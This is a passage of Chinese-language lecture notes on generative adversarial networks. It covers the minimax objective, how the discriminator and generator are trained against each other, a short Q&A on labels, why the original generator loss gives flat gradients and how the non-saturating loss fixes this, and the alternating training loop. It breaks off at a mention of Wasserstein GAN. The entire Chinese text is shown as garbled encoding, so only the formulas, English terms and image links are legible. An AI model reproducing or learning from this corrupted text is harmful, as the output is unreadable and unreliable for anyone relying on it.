ทๆœฌ๏ผŒๅŒๆ—ถ๏ผŒๅฆ‚ๆžœๆˆ‘ไปฌ็š„็”Ÿๆˆๅ™จ่ƒฝๅคŸ็”Ÿๆˆไธ€ไบ›ไผช้€ ๆ ทๆœฌ๏ผŒ่€Œไธ”่ฟ™ไบ›ไผช้€ ๆ ทๆœฌ่ƒฝๅคŸๆˆๅŠŸๅœฐ้ช—่ฟ‡ๅˆคๅˆซๅ™จ้‚ฃไนˆๆˆ‘ไปฌๅฐฑ่Žทๅพ—ไบ†ไธ€ไธชๅพˆๅฅฝ็š„็”Ÿๆˆๅผๆจกๅž‹ใ€‚ๅฆ‚ๆญคไธ€ๆฅ๏ผŒๆˆ‘ไปฌๅฐ†ๅฏไปฅ็”Ÿๆˆไธ€ไบ›็œ‹่ตทๆฅๅพˆๅƒ่ฎญ็ปƒ้›†ๅˆไธญ็š„ๅ›พๅƒ็š„ๆ ทๆœฌใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/13/5b99ccb4b26f8.png)\n\nๅฅฝ๏ผŒ้‚ฃไนˆๆˆ‘ไปฌ็Žฐๅœจๆœ‰ไธคไธช็Žฉๅฎถ๏ผŒ็„ถๅŽๆˆ‘ไปฌ่ฆ้€š่ฟ‡ไธ€ไธช minimax ๅšๅผˆๅ…ฌๅผ่”ๅˆ่ฎญ็ปƒ่ฟ™ไธคไธช็ฝ‘็ปœใ€‚้‚ฃไนˆ่ฏฅ minimax ็›ฎๆ ‡ๅ‡ฝๆ•ฐๅฐฑๆ˜ฏไธŠ้ข็š„ๅ…ฌๅผใ€‚ๆˆ‘ไปฌ็š„็›ฎๆ ‡ๆ˜ฏ่ฆ่ฎฉ็›ฎๆ ‡ๅ‡ฝๆ•ฐๅœจ $\\theta_g$ ไธŠๅ–ๅพ—ๆœ€ๅฐๅ€ผ๏ผŒ$\\theta_g$ ๆ˜ฏๆŒ‡็”Ÿๆˆๅ™จ็ฝ‘็ปœ g ็š„ๅ‚ๆ•ฐ๏ผŒๅŒๆ—ถ่ฆๅœจ $\\theta_d$ ไธŠๅ–ๅพ—ๆœ€ๅคงๅ€ผ๏ผŒ$\\theta_d$ ๆŒ‡็š„ๆ˜ฏๅˆคๅˆซๅ™จ็ฝ‘็ปœ็š„ๅ‚ๆ•ฐใ€‚ไป”็ป†่ง‚ๅฏŸ่ฟ™ไบ›้กน๏ผŒไผšๅ‘็Žฐๅฎƒๆ‰€่กจ่พพ็š„ๆ˜ฏ๏ผš็ฌฌไธ€้กนๆ˜ฏๅœจ่ฎญ็ปƒๆ•ฐๆฎ็š„ๅˆ†ๅธƒไธŠๅ– $\\log(D(x))$ ็š„ๆœŸๆœ›ใ€‚่ฟ™ไธ€้กน็š„ $\\log(D(x))$ ๆ˜ฏๅˆคๅˆซๅ™จ็ฝ‘็ปœๅœจ่พ“ๅ…ฅไธบ็œŸๅฎžๆ•ฐๆฎ๏ผˆ่ฎญ็ปƒๆ•ฐๆฎ๏ผ‰ๆ—ถ็š„่พ“ๅ‡บ๏ผŒ่ฏฅ่พ“ๅ‡บๆ˜ฏ็œŸๅฎžๆ•ฐๆฎไปŽๅˆ†ๅธƒ $p_{data}$ ไธญ้‡‡ๆ ท็š„ไผผ็„ถๆฆ‚็Ž‡๏ผ›็ฌฌไบŒ้กนๆ˜ฏๅฏน z ๅ–ๆœŸๆœ›๏ผŒ่€Œ z ๆ˜ฏไปŽ $p(z)$ ไธญ้‡‡ๆ ท่Žทๅพ—็š„๏ผŒ่ฟ™ๆ„ๅ‘ณ็€ไปŽ็”Ÿๆˆๅ™จ็ฝ‘็ปœไธญ้‡‡ๆ ท๏ผŒๅŒๆ—ถ $D(G(z))$ ่ฟ™ไธ€้กนไปฃ่กจไบ†ไปฅ็”Ÿๆˆ็š„ไผชๆ•ฐๆฎไธบ่พ“ๅ…ฅ็š„ๅˆคๅˆซๅ™จ็ฝ‘็ปœ็š„่พ“ๅ‡บ๏ผŒไนŸๅฐฑๆ˜ฏๅˆคๅˆซๅ™จๅฏนไบŽ็”Ÿๆˆๅ™จ็ฝ‘็ปœ็”Ÿๆˆ็š„ๆ•ฐๆฎ็ป™ๅ‡บ็š„ๅˆคๅฎš็ป“ๆžœใ€‚\n\nๅฏนไบŽ่ฏฅ่ฟ‡็จ‹็š„่งฃ้‡Šๆ˜ฏ๏ผšๆˆ‘ไปฌ็š„ๅˆคๅˆซๅ™จ็š„็›ฎ็š„ๆ˜ฏๆœ€ๅคงๅŒ–็›ฎๆ ‡ๅ‡ฝๆ•ฐ๏ผŒไนŸๅฐฑๆ˜ฏๅœจ $\\theta_d$ ไธŠๅ–ๅพ—ๆœ€ๅคงๅ€ผใ€‚่ฟ™ๆ ทไธ€ๆฅ $D(x)$ ๅฐฑไผšๆŽฅ่ฟ‘1๏ผŒไนŸๅฐฑๆ˜ฏไฝฟๅˆคๅˆซ็ป“ๆžœๆŽฅ่ฟ‘็œŸ๏ผŒๅ› ่€Œ่ฏฅๅ€ผๅฏนไบŽ็œŸๅฎžๆ•ฐๆฎๅบ”ๅฝ“ๅพˆ้ซ˜ใ€‚่ฟ™ๆ ทไธ€ๆฅ $D(G(z))$ ็š„ๅ€ผไนŸๅฐฑๆ˜ฏๅˆคๅˆซๅ™จๅฏนไผช้€ ๆ•ฐๆฎ็š„่พ“ๅ‡บๅฐฑไผš็›ธๅบ”ๅ‡ๅฐ๏ผŒๆˆ‘ไปฌๅธŒๆœ›่ฟ™ไธ€ๅ€ผๆŽฅ่ฟ‘ไบŽ0ใ€‚ๅ› ๆญค๏ผŒๅฆ‚ๆžœๆˆ‘ไปฌ่ƒฝๅคŸๆœ€ๅคงๅŒ–่ฟ™ไธ€็ป“ๆžœ๏ผŒๅฐฑๆ„ๅ‘ณ็€ๅˆคๅˆซๅ™จ่ƒฝๅคŸๅพˆๅฅฝๅœฐๅŒบๅˆซ็œŸๅฎžๆ•ฐๆฎๅ’Œไผช้€ ๆ•ฐๆฎ๏ผŒๆขๅฅ่ฏ่ฏด๏ผŒๅฐฑๆ˜ฏๆ›ดๅฅฝๅœฐๅฏน็œŸๅฎžๆ•ฐๆฎๅ’Œไผช้€ ๆ•ฐๆฎ่ฟ›่กŒๅˆ†็ฑปใ€‚ไธ‹้ข๏ผŒๅฏนไบŽ็”Ÿๆˆๅ™จๆฅ่ฏด๏ผŒๆˆ‘ไปฌๅธŒๆœ›ๅฎƒๆœ€ๅฐๅŒ–่ฏฅ็›ฎๆ ‡ๅ‡ฝๆ•ฐ๏ผŒไนŸๅฐฑๆ˜ฏ่ฏด่ฎฉ $D(G(z))$ ๅœจ่ฟ™้‡ŒๆŽฅ่ฟ‘ไบŽ1๏ผŒ้‚ฃไนˆ็”จ1ๅ‡ๅŽปๅฎƒๅฐฑไผšๅพˆๅฐ๏ผŒ่ฟ™ไบ‹ๅฎžไธŠไนŸๅฐฑๆ˜ฏๆˆ‘ไปฌๆ‰€ๆœŸๆœ›็š„ใ€‚ๅฆ‚ๆญคไธ€ๆฅ๏ผŒๅˆคๅˆซๅ™จ็ฝ‘็ปœๅฐฑไผšๆŠŠไผช้€ ๆ•ฐๆฎ่ง†ไธบ็œŸๅฎžๆ•ฐๆฎ๏ผŒ้‚ฃไนŸๅฐฑๆ„ๅ‘ณ็€๏ผŒๆˆ‘ไปฌ็š„็”Ÿๆˆๅ™จๆญฃๅœจ็”Ÿๆˆ็œŸๅฎžๆ ทๆœฌใ€‚่ฟ™ๅฐฑๆ˜ฏ้œ€่ฆๆˆ‘ไปฌๅฅฝๅฅฝ็†่งฃ็š„ GANs ็š„็›ฎๆ ‡ๅ‡ฝๆ•ฐใ€‚\n\n- Q๏ผšๆˆ‘ไปฌ็ฉถ็ซŸ่ฏฅๅฆ‚ไฝ•็ป™ๆ•ฐๆฎๆ‰“ไธŠๆ ‡็ญพๆˆ–่€…่ฏดๅฆ‚ไฝ•่ฎญ็ปƒ่ฟ™ไบ›็ฝ‘็ปœใ€‚\n - ่ฟ™ๆ˜ฏไธ€ไธชๆ— ็›‘็ฃๅญฆไน ๆจกๅž‹๏ผŒๆ‰€ไปฅไธไผšๆœ‰ๆ‰“ไธŠๆ ‡็ญพ็š„ๆ•ฐๆฎใ€‚ไฝ†ๆ˜ฏไปŽ็”Ÿๆˆๅ™จ็ฝ‘็ปœไธญ็”Ÿๆˆ็š„ๆ•ฐๆฎ๏ผŒไนŸๅฐฑๆ˜ฏ่ฟ™ไบ›ไผช้€ ๅ›พๅƒ็š„ๆ ‡็ญพๆ˜ฏ0ๆˆ–ๅ‡๏ผŒ่€Œๆˆ‘ไปฌ็š„่ฎญ็ปƒ้›†้ƒฝๆ˜ฏ็œŸๅฎžๅ›พ็‰‡๏ผŒๅ› ไธบไผš่ขซๆ ‡่ฎฐไธบ1ๆˆ–ๆ˜ฏ็œŸใ€‚้‚ฃไนˆๅฝ“ๆˆ‘ไปฌๆœ‰ไบ†่ฟ™ไบ›ไปฅๅŽ๏ผŒๅฏนไบŽๅˆคๅˆซๅ™จ็š„ๆŸๅคฑๅ‡ฝๆ•ฐ่€Œ่จ€ๅฐฑไผšไฝฟ็”จ่ฟ™ไบ›ไฟกๆฏ๏ผŒๅˆคๅˆซๅ™จ่ฆๅš็š„ๅฐฑๆ˜ฏๅฏน็”Ÿๆˆๅ™จ็”Ÿๆˆ็š„ๅ‡ฝๆ•ฐ่พ“ๅ‡บ0๏ผŒ่€Œๅฏน็œŸๅฎžๅ›พๅƒ่พ“ๅ‡บ1๏ผŒ้‚ฃไนˆ่ฟ™ๅ…ถไธญๆ˜ฏๆฒกๆœ‰ๅค–้ƒจๆ ‡็ญพ็š„ใ€‚\n- Q๏ผšๅˆคๅˆซๅ™จ็ฝ‘็ปœ่พ“ๅ‡บ็š„ๆ˜ฏ็”Ÿๆˆๅ™จ็ฝ‘็ปœ็š„ๆ ‡็ญพๅ—๏ผŸ\n - ไบ‹ๅฎžไธŠ๏ผŒ็”Ÿๆˆๅ™จ็ฝ‘็ปœๅนถไธๆ˜ฏ็œŸ็š„ๅšๅˆ†็ฑป๏ผŒๅฎƒ็š„็›ฎๆ ‡ๅ‡ฝๆ•ฐๆ˜ฏๅ…ฌๅผ้‡Œ็š„ $D(G(z))$๏ผŒๅฎƒๆƒณ่ฆ่ฟ™ไธชๅ€ผๅฐฝๅฏ่ƒฝ้ซ˜๏ผŒๅ› ๆญค็ป™ๅฎšไธ€ไธชๅ›บๅฎš็š„ๅˆคๅˆซๅ™จ๏ผŒๅฎƒไผšๆƒณ่ฆไน ๅพ—็”Ÿๆˆๅ™จ็š„ๅ‚ๆ•ฐ๏ผŒ่ฟ™ๆ ท็š„่ฏๆ‰่ƒฝ่พพๅˆฐ็›ฎๆ ‡ใ€‚้‚ฃไนˆๆˆ‘ไปฌไผšๅ–ไธ€ไธชๅ›บๅฎš็š„ๅˆคๅˆซๅ™จ่พ“ๅ‡บ๏ผŒ็„ถๅŽ็”จๅฎƒๆฅ่ฟ›่กŒๅๅ‘ไผ ๆ’ญใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/13/5b99d25a1c45f.png)\n\nๆˆ‘ไปฌ้ฆ–ๅ…ˆๅฏนๅˆคๅˆซๅ™จ่ฟ›่กŒๆขฏๅบฆไธŠๅ‡๏ผŒไปŽ่€Œไน ๅพ— $\\theta_d$ ๆฅๆœ€ๅคงๅŒ–่ฏฅ็›ฎๆ ‡ๅ‡ฝๆ•ฐ๏ผŒๆŽฅ็€ๅฏน็”Ÿๆˆๅ™จ่ฟ›่กŒๆขฏๅบฆไธ‹้™ใ€‚ๅฏน $\\theta_g$ ่ฟ›่กŒๆขฏๅบฆไธ‹้™ๅฏไปฅ่พพๅˆฐๆœ€ๅฐๅŒ–็›ฎๆ ‡ๅ‡ฝๆ•ฐ็š„็›ฎ็š„๏ผŒ่ฟ™ๆ—ถๅ€™็š„็›ฎๆ ‡ๅ‡ฝๆ•ฐๅชๅ–ๅณ่พน็š„ไธ€้กน๏ผŒๅ› ไธบๅชๆœ‰่ฟ™ไธ€้ƒจๅˆ†ๅ’Œ $\\theta_g$ ๆœ‰ๅ…ณใ€‚\n\n้‚ฃไนˆ GAN ๅฐฑๆ˜ฏ่ฟ™ๆ ท่ฎญ็ปƒ็š„๏ผŒๆˆ‘ไปฌๅฏไปฅไบคๆ›ฟ่ฎญ็ปƒๅˆคๅˆซๅ™จๅ’Œ็”Ÿๆˆๅ™จ๏ผŒๆฏๆฌก่ฟญไปฃ๏ผŒ็”Ÿๆˆๅ™จ้ƒฝๅœจ่ฏ•ๅ›พ้ช—่ฟ‡ๅˆคๅˆซๅ™จใ€‚ไฝ†ๆ˜ฏๅœจๅฎž่ทตไธญ๏ผŒๆœ‰ไธ€ไปถไบ‹ไธๅพ—ไธๆณจๆ„๏ผŒ้‚ฃๅฐฑๆ˜ฏๆˆ‘ไปฌๅฎšไน‰็š„็”Ÿๆˆๅ™จ็›ฎๆ ‡ๅ‡ฝๆ•ฐๅนถไธ่ƒฝๅคŸๅทฅไฝœ็š„ๅพˆๅฅฝใ€‚่‡ณไบŽๅŽŸๅ› ๏ผŒๆˆ‘ไปฌ้œ€่ฆ็œ‹ไธ‹ๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๅ‡ฝๆ•ฐ็ฉบ้—ดใ€‚ๅฆ‚ๆžœๆˆ‘ไปฌไป”็ป†็œ‹็œ‹ๅ…ณไบŽ $D(G(z))$ ็š„ๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๅ‡ฝๆ•ฐ็ฉบ้—ด๏ผŒๅฆ‚ๆžœๆˆ‘ไปฌๅœจ่ฟ™้‡Œ็”จ1ๅ‡ๅŽป $D(G(z))$๏ผŒไนŸๅฐฑๆ˜ฏๆˆ‘ไปฌๆœŸๆœ›ๅฏนไบŽ็”Ÿๆˆๅ™จ่ƒฝๅคŸๆœ€ๅฐๅŒ–็š„้กน๏ผŒๅฎƒ็š„ๅฝข็Šถๅฆ‚ไธŠๅ›พๆ‰€็คบใ€‚้‚ฃไนˆๆˆ‘ไปฌๆƒณ่ฆๆœ€ๅฐๅŒ–่ฏฅๅ‡ฝๆ•ฐ๏ผŒไธ่ฟ‡ๆˆ‘ไปฌๅ‘็Žฐ่ฏฅๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๆ–œ็Ž‡่ถŠๅพ€ๅณ่ตฐ่ถŠๅคง๏ผŒ$D(G(z))$ ่ถŠๆ˜ฏๆŽฅ่ฟ‘1๏ผŒ่ฏฅๅ‡ฝๆ•ฐ็š„ๆ–œ็Ž‡ๅฐฑ่ถŠ้ซ˜๏ผŒไนŸๅฐฑๆ˜ฏ่ƒฝๅพˆๅฅฝๅœฐ้ช—่ฟ‡ๅˆคๅˆซๅ™จ็š„ๆ—ถๅ€™๏ผŒๆˆ‘ไปฌๆ‰ไผš่Žทๅพ—ๅคง็š„ๆขฏๅบฆๅ€ผใ€‚ๅฆไธ€ๆ–น้ข๏ผŒๅฝ“็”Ÿๆˆๅ™จ็”Ÿๆˆ็š„ๆ ทๆœฌๅนถไธๆ€Žไนˆๆ ท็š„ๆ—ถๅ€™๏ผŒไนŸๅฐฑๆ˜ฏ็”Ÿๆˆๅ™จ่ฟ˜ๆฒก่ƒฝไน ๅพ—ๅฆ‚ไฝ•็”Ÿๆˆ่‰ฏๅฅฝ็š„ๆ ทๆœฌ็š„ๆ—ถๅ€™๏ผŒ่ฟ™ไนŸๆญฃๆ˜ฏๅˆคๅˆซๅ™จ่ƒฝๅคŸ่ฝปๆ˜“ๅœฐๅฐ†ๆ ทๆœฌๅˆคๅˆซไธบไผช้€ ็š„ๆ—ถๅ€™๏ผŒ่ฟ™ไธชๆ—ถๅ€™็š„ๆขฏๅบฆไนŸๅฐฑ็›ธๅฏนๅนณๅฆใ€‚่ฟ™ไบ‹ๅฎžไธŠๆ„ๅ‘ณ็€ๆขฏๅบฆไฟกๅทไธป่ฆๅ—ๅˆฐ้‡‡ๆ ท่‰ฏๅฅฝ็š„ๅŒบๅŸŸๆ”ฏ้…๏ผŒ็„ถ่€Œไบ‹ๅฎžไธŠๆˆ‘ไปฌ็œŸๆญฃๆƒณ่ฆ็š„ๆ˜ฏๅœจ้‡‡ๆ ทๆ•ˆๆžœๅนถไธๅฅฝ็š„ๆ—ถๅ€™ๅคšๅญฆๅˆฐไธ€ไบ›็Ÿฅ่ฏ†ใ€‚ๆˆ‘ไปฌๆƒณ่ฆ็š„ๅฐฑๆ˜ฏไปŽ่ฎญ็ปƒๆ ทๆœฌไธญไน ๅพ—็Ÿฅ่ฏ†ใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/13/5b99d5159f5f7.png)\n\n้‚ฃไนˆ่ฟ™ๆ ทไธ€ๆฅๅฐฑไฝฟๅพ—ๅญฆไน ๅพˆ่‰ฐ้šพ๏ผŒๆ‰€ไปฅไธบไบ†ๆ้ซ˜ๅญฆไน ๆ•ˆ็Ž‡๏ผŒๆˆ‘ไปฌๆŽฅไธ‹ๆฅ่ฆๅš็š„ๆ˜ฏ้’ˆๅฏนๆขฏๅบฆๅฎšไน‰ไธ€ไธชๆœ‰ไธ€็‚นไธๅŒ็š„็›ฎๆ ‡ๅ‡ฝๆ•ฐ๏ผŒไนŸๅฐฑๆ˜ฏๆˆ‘ไปฌ่ฝฌ่€ŒๅŽปๅšๆขฏๅบฆไธŠๅ‡็ฎ—ๆณ•๏ผŒไนŸๅฐฑๆ˜ฏ่ฏดๆˆ‘ไปฌไธๅ†ๆœ€ๅฐๅŒ–ๅˆคๅˆซๅ™จๅˆคๅˆซๆญฃ็กฎ็š„ๆฆ‚็Ž‡๏ผŒไนŸๅฐฑๆ˜ฏๆˆ‘ไปฌไน‹ๅ‰็š„ๅšๆณ•๏ผŒ่€Œๆ˜ฏๅฐ†่ฟ™ไธ€่ฟ‡็จ‹ๅ่ฝฌ๏ผŒ่ฝฌ่€Œ่ฟ›่กŒๆœ€ๅคงๅŒ–ๅˆคๅˆซๅ™จๅ‡บ้”™็š„ๆฆ‚็Ž‡ใ€‚้‚ฃไนˆ่ฟ™ๆ ทไธ€ๆฅๅฐฑไผšไบง็”Ÿไธ€ไธชๅ…ณไบŽๆœ€ๅคงๅŒ–็š„็›ฎๆ ‡ๅ‡ฝๆ•ฐ๏ผŒไนŸๅฐฑๆ˜ฏๆœ€ๅคงๅŒ– $\\log(D(G(z)))$ ใ€‚้‚ฃไนˆ็Žฐๅœจ่ฟ™้‡Œๅบ”่ฏฅๆœ‰ไธ€ไธช่ดŸๅทๅœจ่ฟ™้‡Œ๏ผŒไฝ†ๆ˜ฏๆˆ‘ไปฌ็Žฐๅœจๆƒณ่ฆๆœ€ๅคงๅŒ–่ฟ™ไธชๅ่ฝฌไบ†็š„็›ฎๆ ‡ๅ‡ฝๆ•ฐใ€‚็Žฐๅœจๅฆ‚ๆžœๆˆ‘ไปฌๅœจไธŠ ้ขๅณ่พน็”ปๅ‡บ่ฟ™ไธ€ๅ‡ฝๆ•ฐ๏ผŒ้‚ฃไนˆๆˆ‘ไปฌๅฐฑๅฏไปฅๅœจๅทฆไพง็”Ÿๆˆๆ ทๆœฌ่ดจ้‡่ฟ˜ไธๆ˜ฏๅพˆๅฅฝ็š„ๆ—ถๅ€™๏ผŒ่Žทๅพ—ไธ€ไธชๅพˆ้ซ˜็š„ๆขฏๅบฆไฟกๅทใ€‚็Žฐๅœจๆ›ดๅนณๅฆ็š„ๅŒบๅŸŸ่ฝฌๅˆฐไบ†ๅณ่พน๏ผŒไนŸๅฐฑๆ˜ฏๆˆ‘ไปฌ็š„ๆ ทๆœฌๅทฒ็ปๅพˆๅฅฝ็š„ๆ—ถๅ€™๏ผŒๅฆ‚ๆญคไธ€ๆฅ๏ผŒๆˆ‘ไปฌๅฐฑไผšๅœจ็”Ÿๆˆๆ ทๆœฌ่ดจ้‡ไธๆ˜ฏๅพˆๅฅฝ็š„ๆ—ถๅ€™ๅญฆๅˆฐๆ›ดๅคš็š„็Ÿฅ่ฏ†ใ€‚\n\nๅœจ่ฟ™ๆ ท็š„ๆƒ…ๅ†ตไธ‹๏ผŒๆˆ‘ไปฌไปๆœ‰็›ธๅŒ็š„็›ฎๆ ‡ๅ‡ฝๆ•ฐ๏ผŒๅ…ถ็›ฎ็š„ไป็„ถๆ˜ฏ้ช—่ฟ‡ๅˆคๅˆซๅ™จ๏ผŒไธ่ฟ‡็Žฐๅœจ็š„ๅฎƒ่ฆๆฏ”ไน‹ๅ‰ไฝ ่กจ็Žฐๆ›ดๅฅฝ๏ผŒ่€Œไธ”ไบ‹ๅฎžไธŠๅพˆๅคš่ฟ™็งๆ™ฎ้€š GAN ๅ…ฌๅผ๏ผˆ็›ฎๆ ‡ๅ‡ฝๆ•ฐ๏ผ‰็š„็ ”็ฉถ็”จ็š„ๅฐฑๆ˜ฏ่ฟ™็ง็›ฎๆ ‡ๅ‡ฝๆ•ฐใ€‚\n\nๅฆไธ€ๆ–น้ข๏ผŒ่”ๅˆ่ฎญ็ปƒ่ฟ™ไธคไธช็ฝ‘็ปœๆ˜ฏๅๅˆ†ๆœ‰ๆŒ‘ๆˆ˜ๆ€ง็š„๏ผŒ่€Œไธ”ไผšไธ็จณๅฎšใ€‚้‚ฃไนˆๅฐฑๅƒๆˆ‘ไปฌๅœจ่ฟ™้‡Œ็œ‹ๅˆฐ็š„๏ผŒๆˆ‘ไปฌ้œ€่ฆ้€š่ฟ‡ไบคๆ›ฟๅœฐ่ฎญ็ปƒๅˆคๅˆซๅ™จ็ฝ‘็ปœไธŽ็”Ÿๆˆๅ™จ็ฝ‘็ปœๆฅๅฎŒๆˆ่ฎญ็ปƒ่ฟ‡็จ‹ใ€‚็”ฑไบŽ่ฟ™็งไบคๆ›ฟ่ฎญ็ปƒ็š„ๆ–นๅผ๏ผŒๆจกๅž‹ไธๅฏ่ƒฝไธ€ๆฌกๆ€ง่ฎญ็ปƒไธคไธช็ฝ‘็ปœใ€‚่ฟ˜ๆœ‰ไธ€ไธช้—ฎ้ข˜ๅฐฑๆ˜ฏๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๅ‡ฝๆ•ฐ็ฉบ้—ดไผšๅฝฑๅ“่ฎญ็ปƒ็š„ๅŠจๆ€่ฟ‡็จ‹ใ€‚ๅ› ๆญคๆœ‰ไธ€ไธชๆดป่ทƒ็š„็ ”็ฉถ้ข†ๅŸŸไป็„ถๆ˜ฏๅฆ‚ไฝ•้€‰ๆ‹ฉ็›ฎๆ ‡ๅ‡ฝๆ•ฐ๏ผŒไปŽ่€Œ่Žทๅพ—ๆ›ดๅฅฝ็š„ๆŸๅคฑๅ‡ฝๆ•ฐ็ฉบ้—ดๆฅๅธฎๅŠฉ่ฎญ็ปƒๅนถไฝฟๅ…ถๆ›ดๅŠ ๅนณ็จณใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/13/5b99e30a370be.png)\n\n้‚ฃไนˆ็Žฐๅœจๆˆ‘ไปฌๆŠŠ่ฎฒ่ฟ‡็š„ไธœ่ฅฟ้ƒฝๆ”พๅœจไธ€่ตท๏ผŒ็œ‹็œ‹ๅฎŒๆ•ด็š„ GAN ่ฎญ็ปƒ็ฎ—ๆณ•ๅˆฐๅบ•ๆ˜ฏไป€ไนˆๆ ทๅญใ€‚๏ผˆๅœจ่ฎญ็ปƒไธญ๏ผ‰ๆˆ‘ไปฌๆ‰€่ฆๅš็š„ๅฐฑๆ˜ฏๅœจๆฏไธ€ไธช่ฎญ็ปƒ่ฟญไปฃๆœŸ๏ผŒๆˆ‘ไปฌ้ƒฝ่ฆๅ…ˆ่ฎญ็ปƒๅˆคๅˆซๅ™จ็ฝ‘็ปœ๏ผŒ็„ถๅŽๆ‰ๆ˜ฏ็”Ÿๆˆๅ™จ็ฝ‘็ปœใ€‚ๅฏนไบŽๅˆคๅˆซๅ™จ็ฝ‘็ปœ็š„ k ไธช่ฎญ็ปƒๆญฅ๏ผŒๆˆ‘ไปฌๅฐ†ไผšไปŽๅ™ชๅฃฐๅ…ˆ้ชŒๅˆ†ๅธƒ z ไธญ้‡‡ๆ ทๅพ—ๅˆฐไธ€ไธชๅฐๆ‰น้‡ๆ ทๆœฌ๏ผŒๆŽฅ็€ๅŒๆ ทไปŽ่ฎญ็ปƒๆ•ฐๆฎ x ไธญ้‡‡ๆ ท่Žทๅพ—ๅฐๆ‰น้‡็š„็œŸๅฎžๆ ทๆœฌใ€‚้‚ฃไนˆไธ‹้ขๆˆ‘ไปฌ่ฆๅš็š„ๆ˜ฏ๏ผŒๅฐ†ๅ™ชๅฃฐๆ ทๆœฌไผ ็ป™็”Ÿๆˆๅ™จ็ฝ‘็ปœ๏ผŒๅนถๅœจ๏ผˆ็”Ÿๆˆๅ™จ๏ผ‰่พ“ๅ‡บ็ซฏ่Žทๅพ—ไผช้€ ๅ›พๅƒ๏ผŒ้‚ฃไนˆไนŸๅฐฑๆ˜ฏ่ฏดๆˆ‘ไปฌๆœ‰ไธ€ไธชๅฐๆ‰น้‡็š„ไผช้€ ๅ›พๅƒๅ’Œๅฐๆ‰น้‡็š„็œŸๅฎžๅ›พๅƒใ€‚็„ถๅŽๆˆ‘ไปฌไผš็”จ่ฟ™ๆ ท็š„ๅฐๆ‰น้‡ๆ•ฐๆฎๅœจๅˆคๅˆซๅ™จไธŠ่ฟ›่กŒไธ€ๆฌกๆขฏๅบฆ่ฎก็ฎ—๏ผŒๆŽฅไธ‹ๆฅ๏ผˆๅˆฉ็”จๆขฏๅบฆไฟกๆฏ๏ผ‰ๆ›ดๆ–ฐๅˆคๅˆซๅ™จๅ‚ๆ•ฐ๏ผŒๆŒ‰็…ง่ฟ™ๆ ท็š„ๆญฅ้ชค่ฟญไปฃไธ€ๅฎš็š„ๆฌกๆ•ฐๆฅ่ฎญ็ปƒไธ€ไผšๅˆคๅˆซๅ™จใ€‚ๅœจ่ฟ™ไน‹ๅŽ๏ผŒๆˆ‘ไปฌไผšๆ‰ง่กŒ็ฌฌไบŒๆญฅ๏ผŒไนŸๅฐฑๆ˜ฏ่ฎญ็ปƒ็”Ÿๆˆๅ™จใ€‚ๅœจ่ฟ™ไธ€ๆญฅๆˆ‘ไปฌไผš้‡‡ๆ ท่Žทๅพ—ไธ€ไธชๅฐๆ‰น้‡ๅ™ชๅฃฐๆ ทๆœฌ๏ผŒๅฐ†ๅฎƒไผ ๅ…ฅ็”Ÿๆˆๅ™จ๏ผŒ็„ถๅŽๅฏน็”Ÿๆˆๅ™จ่ฟ›่กŒๅŽๅ‘ไผ ๆ’ญ๏ผŒไปŽ่€Œไผ˜ๅŒ–ๅ…ถ็›ฎๆ ‡ๅ‡ฝๆ•ฐใ€‚ๆ€ปไน‹๏ผŒๆˆ‘ไปฌๆƒณ่ฎฉ็”Ÿๆˆๅ™จๅฐฝๅฏ่ƒฝ้ช—่ฟ‡ๅˆคๅˆซๅ™จใ€‚\n\nๅ› ๆญค๏ผŒๆˆ‘ไปฌ่ฆไบคๆ›ฟ่ฟ›่กŒไธŠ่ฟฐไธคไธชๆญฅ้ชค๏ผŒไนŸๅฐฑๆ˜ฏไบคๆ›ฟๅœฐๅœจๅˆคๅˆซๅ™จๅ’Œ็”Ÿๆˆๅ™จไธŠ่ฎก็ฎ—ๆขฏๅบฆใ€‚ๆˆ‘ไน‹ๅ‰่ฏด่ฎญ็ปƒๅˆคๅˆซๅ™จ็š„ๆ—ถๅ€™่ฆ่ฟ›่กŒ k ๆญฅ๏ผˆๆขฏๅบฆ่ฎก็ฎ—๏ผ‰๏ผŒไบ‹ๅฎžไธŠ่ฟ™ๆ˜ฏไธ€ไธชๆœ‰ไบ‰่ฎฎ็š„่ฏ้ข˜๏ผŒๆœ‰ไบ›ไบบ่ฎคไธบๅœจๅˆคๅˆซๅ™จไธŠ่ฟญไปฃไธ€ๆฌกๅฐฑๅฏไปฅไบ†๏ผŒๆœ€ๅฅฝๆ˜ฏๆ˜ฏๅˆคๅˆซๅ™จไธŠ่ฟญไปฃไธ€ๆญฅ๏ผŒ็”Ÿๆˆๅ™จไธŠ่ฟญไปฃไธ€ๆญฅ๏ผ›ๆœ‰็š„ไบบ่ฎคไธบ๏ผŒ่ฎญ็ปƒๅˆคๅˆซๅ™จ็š„่ฟญไปฃๆฌกๆ•ฐๆœ€ๅฅฝๅคšไบŽ่ฎญ็ปƒ็”Ÿๆˆๅ™จ็š„ๆญฅๆ•ฐ๏ผŒ็„ถ่€Œๅฏนๆญคๅนถๆฒกๆœ‰ๆ˜Ž็กฎ็š„่ง„ๅˆ™ใ€‚ไบบไปฌๅ‘็ŽฐๅœจไธๅŒ็š„้—ฎ้ข˜ไธŠๆœ‰ไธๅŒ็š„ๆŠ€ๅทงๆฅๆ้ซ˜ๆ•ˆๆžœใ€‚ๆˆ‘ๆƒณๆŒ‡ๅ‡บ็š„ๆ˜ฏ๏ผŒๅทฒ็ปๆœ‰ไธ€ไบ›่ฟ‘ๆœŸ็š„็ ”็ฉถๅ‡็ผ“ไบ†่ฟ™ไธ€้—ฎ้ข˜ๅธฆๆฅ็š„้บป็ƒฆ๏ผŒไนŸๅฐฑๆ˜ฏ่ฏด๏ผŒไฝ ไธ้œ€่ฆๅœจ่Šฑๅคชๅคง็š„ๅŠ›ๆฐ”ๅœจ็ ”็ฉถๅฆ‚ไฝ•ๅนณ่กกไธค็ง็ฝ‘็ปœ็š„่ฎญ็ปƒๆญฅๆ•ฐไธŠ้ขใ€‚่ฟ™ๆ ทไธ€ๆฅไผšไฝฟๅพ—่ฎญ็ปƒๆ›ดๅŠ ็จณๅฎšๅŒๆ—ถๅธฆๆฅๆ›ดๅฅฝ็š„็ป“ๆžœ๏ผŒWasserstein GAN 